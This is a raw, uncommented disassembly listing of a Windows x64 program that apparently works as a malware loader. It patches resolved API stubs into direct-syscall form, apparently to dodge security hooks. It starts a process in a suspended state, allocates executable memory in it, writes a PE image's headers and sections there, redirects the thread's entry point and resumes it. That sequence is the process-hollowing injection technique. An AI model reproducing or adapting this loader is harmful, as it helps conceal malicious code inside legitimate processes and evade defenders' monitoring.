nop
lea r8, [rsp + 0x60]
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x2b0]
call fcn.140001508
cmp qword [rax + 0x18], 0x10
jb 0x1400037ad
mov rax, qword [rax]
mov rdx, rax
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14000b938], rax
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x1400037fe
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400037f9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400037f9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005bd0
mov qword [rbp - 0x60], r13
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], r13b
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x14000384e
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003849
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003849
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005bd0
cmp qword [0x14000b938], r13
je 0x140003e45
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r13
mov qword [rsp + 0x78], r13
lea rax, [rbp + 0x20]
mov r8, rbx
inc r8
cmp byte [rax + r8], r13b
jne 0x140003874
lea rdx, [rbp + 0x20]
lea rcx, [rsp + 0x60]
call fcn.140005614
nop
lea r8, [rsp + 0x60]
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x2b0]
call fcn.140001508
cmp qword [rax + 0x18], 0x10
jb 0x1400038ab
mov rax, qword [rax]
mov rdx, rax
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14000b928], rax
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x1400038fc
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400038f7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400038f7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005bd0
mov qword [rbp - 0x60], r13
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], r13b
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x14000394c
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003947
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003947
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005bd0
cmp qword [0x14000b928], r13
je 0x140003e45
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r13
mov qword [rsp + 0x78], r13
lea rax, [rbp - 0x10]
mov r8, rbx
inc r8
cmp byte [rax + r8], r13b
jne 0x140003972
lea rdx, [rbp - 0x10]
lea rcx, [rsp + 0x60]
call fcn.140005614
nop
lea r8, [rsp + 0x60]
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x2b0]
call fcn.140001508
cmp qword [rax + 0x18], 0x10
jb 0x1400039a9
mov rax, qword [rax]
mov rdx, rax
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14000b948], rax
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x1400039fa
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400039f5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400039f5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005bd0
mov qword [rbp - 0x60], r13
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], r13b
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x140003a4a
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003a45
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003a45
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005bd0
cmp qword [0x14000b948], r13
je 0x140003e45
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r13
mov qword [rsp + 0x78], r13
lea rax, [rbp - 0x40]
inc rbx
cmp byte [rax + rbx], r13b
jne 0x140003a6d
mov r8, rbx
lea rdx, [rbp - 0x40]
lea rcx, [rsp + 0x60]
call fcn.140005614
nop
lea r8, [rsp + 0x60]
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x2b0]
call fcn.140001508
cmp qword [rax + 0x18], 0x10
jb 0x140003aa7
mov rax, qword [rax]
mov rdx, rax
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14000b978], rax
mov rdx, qword [rbp - 0x58]
mov ebx, 0x1000
cmp rdx, 0x10
jb 0x140003af9
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, rbx
jb 0x140003af4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003af4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005bd0
mov qword [rbp - 0x60], r13
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], r13b
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x140003b45
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, rbx
jb 0x140003b40
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003b40
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005bd0
cmp qword [0x14000b978], r13
je 0x140003e45
mov eax, 0x40
mov dword [rbp + 0x230], eax
lea r9, [rbp + 0x220]
mov r8d, eax
lea r15d, [rax - 0x3a]
mov edx, r15d
mov rcx, qword [0x14000b928]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140003e45
mov dword [rbp + 0x210], 0xb8d18b4c
mov word [rbp + 0x214], 0x3a
mov rcx, qword [0x14000b928]
mov eax, dword [rbp + 0x210]
mov dword [rcx], eax
movzx eax, word [rbp + 0x214]
mov word [rcx + 4], ax
lea r9, [rbp + 0x230]
mov r8d, dword [rbp + 0x220]
mov edx, r15d
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea r9, [rbp + 0x220]
mov r8d, dword [rbp + 0x230]
mov edx, r15d
mov rcx, qword [0x14000b978]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140003e45
mov dword [rbp + 0x210], 0xb8d18b4c
mov word [rbp + 0x214], 0x52
mov rcx, qword [0x14000b978]
mov eax, dword [rbp + 0x210]
mov dword [rcx], eax
movzx eax, word [rbp + 0x214]
mov word [rcx + 4], ax
lea r9, [rbp + 0x230]
mov r8d, dword [rbp + 0x220]
mov edx, r15d
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
lea r8d, [r15 + 0x5e]
lea rcx, [rbp + 0x314]
call sub.VCRUNTIME140.dll_memset
mov dword [rbp + 0x310], 0x68
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1f0], xmm0
mov qword [rbp + 0x200], rax
lea rax, [rbp + 0x1f0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x310]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov r15d, 4
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x380]
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x140003cd8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.CreateProcess_failed___d_._n
call fcn.140001070
xor r9d, r9d
lea r8, [0x140007691]
lea rdx, str.CreateProcess_failed
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov r9d, r15d
mov r8d, ebx
mov edx, 8
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
mov dword [rax + 0x30], 0x10000b
mov rdx, rax
mov rcx, qword [rbp + 0x1f8]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rcx, qword [rbp + 0x1f0]
test eax, eax
je 0x140003e31
mov r8d, dword [r14 + 0x50]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov rdx, qword [r14 + 0x30]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r15, rax
mov qword [rsp + 0x20], r13
mov r9d, dword [r14 + 0x54]
mov r8, r12
mov rdx, rax
mov rcx, qword [rbp + 0x1f0]
call qword [0x14000b928]
xor eax, eax
cmp ax, word [r14 + 6]
jae 0x140003de4
mov r12d, eax
mov rdi, qword [rbp - 0x80]
movsxd r9, dword [rdi + 0x3c]
add r9, r12
mov r8d, dword [r9 + rdi + 0x11c]
add r8, rdi
mov edx, dword [r9 + rdi + 0x114]
add rdx, r15
mov qword [rsp + 0x20], rax
mov r9d, dword [r9 + rdi + 0x118]
mov rcx, qword [rbp + 0x1f0]
call qword [0x14000b928]
mov rdx, qword [rbx + 0x88]
add rdx, 0x10
and qword [rsp + 0x20], 0
mov r9d, 8
lea r8, [r14 + 0x30]
mov rcx, qword [rbp + 0x1f0]
call qword [0x14000b928]
inc r13
add r12, 0x28
movzx eax, word [r14 + 6]
cmp r13, rax
mov eax, 0
jb 0x140003d63
mov rdi, qword [rsp + 0x50]
mov rsi, qword [rbp + 0x288]
mov eax, dword [r14 + 0x28]
add rax, r15
mov qword [rbx + 0x80], rax
mov rdx, rbx
mov rcx, qword [rbp + 0x1f8]
call qword [0x14000b948]
xor r13d, r13d
mov dword [rbp + 0x210], r13d
lea rdx, [rbp + 0x210]
mov rcx, qword [rbp + 0x1f8]
call qword [0x14000b978]
xor edx, edx
mov rcx, qword [rbp + 0x1f0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x140003e45
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x1f8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov ebx, 0x1000
test rdi, rdi
je 0x140003e82
sub rsi, rdi
mov rax, rdi
cmp rsi, rbx
jb 0x140003e76
add rsi, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003e76
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rdx, rsi
mov rcx, rdi
call fcn.140005bd0
nop
mov rdx, qword [rbp + 0x250]
cmp rdx, 0x10
jb 0x140003ec2
inc rdx
mov rcx, qword [rbp + 0x238]
mov rax, rcx
cmp rdx, rbx
jb 0x140003ebd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003ebd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005bd0
mov qword [rbp + 0x248], r13
mov qword [rbp + 0x250], 0xf
mov byte [rbp + 0x238], r13b
mov rdx, qword [rbp + 0x308]
cmp rdx, 0x10
jb 0x140003f1c
inc rdx
mov rcx, qword [rbp + 0x2f0]
mov rax, rcx
cmp rdx, rbx
jb 0x140003f16
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003f16
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005bd0
nop
lea rcx, [rbp + 0x2b0]
call fcn.140001b80
nop
mov rdx, qword [rbp + 0x2a8]
cmp rdx, 0x10
jb 0x140003f6a
inc rdx
mov rcx, qword [rbp + 0x290]
mov rax, rcx
cmp rdx, rbx
jb 0x140003f64
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003f64
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005bd0
nop
mov rdx, qword [rbp + 0x270]
cmp rdx, 0x10
jb 0x140004112
inc rdx
mov rcx, qword [rbp + 0x258]
mov rax, rcx
cmp rdx, rbx
jb 0x14000410d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000410d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov ebx, 0x1000
test rdi, rdi
je 0x140003fee
sub rsi, rdi
mov rax, rdi
cmp rsi, rbx
jb 0x140003fe2
add rsi, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003fe2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rdx, rsi
mov rcx, rdi
call fcn.140005bd0
nop
mov rdx, qword [rbp + 0x250]
cmp rdx, r15
jb 0x14000402d
inc rdx
mov rcx, qword [rbp + 0x238]
mov rax, rcx
cmp rdx, rbx
jb 0x140004028
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004028
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005bd0
mov qword [rbp + 0x248], r13
mov qword [rbp + 0x250], 0xf
mov byte [rbp + 0x238], r13b
mov rdx, qword [rbp + 0x308]
cmp rdx, r15
jb 0x140004086
inc rdx
mov rcx, qword [rbp + 0x2f0]
mov rax, rcx
cmp rdx, rbx
jb 0x140004080
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004080
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005bd0
nop
lea rcx, [rbp + 0x2b0]
call fcn.140001b80
nop
mov rdx, qword [rbp + 0x2a8]
cmp rdx, r15
jb 0x1400040d3
inc rdx
mov rcx, qword [rbp + 0x290]
mov rax, rcx
cmp rdx, rbx
jb 0x1400040cd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400040cd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005bd0
nop
mov rdx, qword [rbp + 0x270]
cmp rdx, r15
jb 0x140004112
inc rdx
mov rcx, qword [rbp + 0x258]
mov rax, rcx
cmp rdx, rbx
jb 0x14000410d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000410d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140005bd0
xor eax, eax
mov rcx, qword [rbp + 0x780]
xor rcx, rsp
call fcn.140005bb0
lea r11, [rsp + 0x890]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400011d0
nop
call fcn.140005b30
int3